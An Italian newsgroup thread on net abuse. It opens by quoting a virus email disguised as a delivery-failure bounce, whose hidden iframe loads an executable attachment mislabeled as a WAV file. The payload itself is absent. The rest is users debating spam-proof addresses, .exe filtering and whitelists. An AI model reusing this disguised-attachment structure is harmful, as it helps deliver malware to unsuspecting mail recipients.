Newsgroup: it.news.net-abuse
Titolo: Papa', guarda: un FLOOD! (ma no, e' solo un virus)


SUBJECT: Message User unknown
X-ID: 661138486249518
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="qlooqwuhkhofykh"
*This message was transferred with a trial version of CommuniGate(tm)
Pro*
--qlooqwuhkhofykh
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD></HEAD>
<BODY>
<iframe src=3D"cid:xnyzcnr" height=3D0 width=3D0></iframe>
<BR>I'm sorry =
I wasn't able to deliver your message =
to the following addresses:<BR>
<BR><BR><BR>Undelivered message to <B>
hojv...@microsoft.com
</B>
<BR><BR><BR>Message follows:<BR><BR><BR><BR>
</BODY></HTML>
--qlooqwuhkhofykh
Content-Type: audio/x-wav; name="fltci.exe"
Content-Transfer-Encoding: base64
Content-Id: <xnyzcnr>
Fabrizio

 caso)
Mah, io ho un indirizzo perfettamente valido e in chiaro e non ho
alcun problema né di spam né di virus... il trucco è usare un
indirizzo despammato/devirato. Mettere su NG in chiaro un indirizzo
aperto a cani e porci significa renderlo inutilizzabile dopo pochi
post...

 caso)
Beh, non è che tu sia obbligato a uscire sui ng con il tuo indirizzo di
lavoro. Puoi creartene uno apposta in uno dei molti servizi gratuiti.
P. S. Se pensi "da che pulpito"... ehm, è valido :P
-- 
"SONO MATTEO ASTROFILO SEMINEOFILO" (post su ISA)
it.cultura.classica: 
http://digilander.iol.it/mmanca

 aperto a cani e porci significa renderlo inutilizzabile dopo pochi
Hey, libertino, hai mica dato un'occhiata all'indirizzo che uso negli
ultimi anni?   :-)
Difficilmente puoi trovare qualcosa meglio di vene... perlomeno, *a quel
prezzo* e che ti permette di scrivere senza patemi d'animo dal
fu-berlino.   O:-)
BTW, anche Davide ci ha messo una pezza, facendo secchi i .exe entranti,
ma sembra che ci siano comunque dei problemi con chi, listato, e' in
whitelist per forza di cose (quei "gioielli" di fastweb, ad esempio...).
Comunque il mio discorso era leggermente diverso: posto che condivido la
filosofia di Mamo (indirizzo in chiaro nei NG), devo purtroppo ammettere
che vi sono come minimo delle *eccezioni* che possono giustificare
almeno un .invalid alla fine dell'indirizzo.
Non ricordo con chiarezza, comunque, le regole del fu-berlino che devo
usare in questo periodo (Fabbrone, dove sei? Pure la tua email mi
rimbalza!), probabilmente dovrei taroccare "a sinistra" l'indirizzo
(cioe', prima del domain), cosa che detesto cordialmente (e non state a
guardarmi il From:, che e' un vezzo avvelenaspammer), rischiando
comunque di finire "bersaglio" del Mamobot.
Insomma, non c'e' esattamente una soluzione definitiva, ma piu'
soluzioni, nessuna delle quali soddisfacenti.
Lo so che voglio un cocomero senza semi e che "la" soluzione consiste
nel tirar fuori pecunia e pagare moneta per avere cammello, ci stavo
arrivando per piccoli passi.   :-)
Fabrizio

 P. S. Se pensi "da che pulpito"... ehm, è valido :P
Mgia', ma come facevo presente pochi minuti fa, non c'e' "la" soluzione,
bensi' piu' soluzioni parziali.
Oppure, si tira fuori moneta per avere Furio che ci toglie le castagne
dal fuoco.   :-)
Fabrizio

 whitelist per forza di cose (quei "gioielli" di fastweb, ad esempio...).
Non ti riferisci ai worm vero? perche' da quanto vedo non ne dovrebbero 
essere passati piu' da qualche giorno (a meno di quelli con l'allegato 
mozzato dagli antivirus e li' si puo' fare ben poco).
In ogni caso, almeno io, non ho messo fastweb in whitelist..sempre se ho 
capito bene :)
-- 
Veneziano Davide
http://www.vene.ws
ICQ# 14047537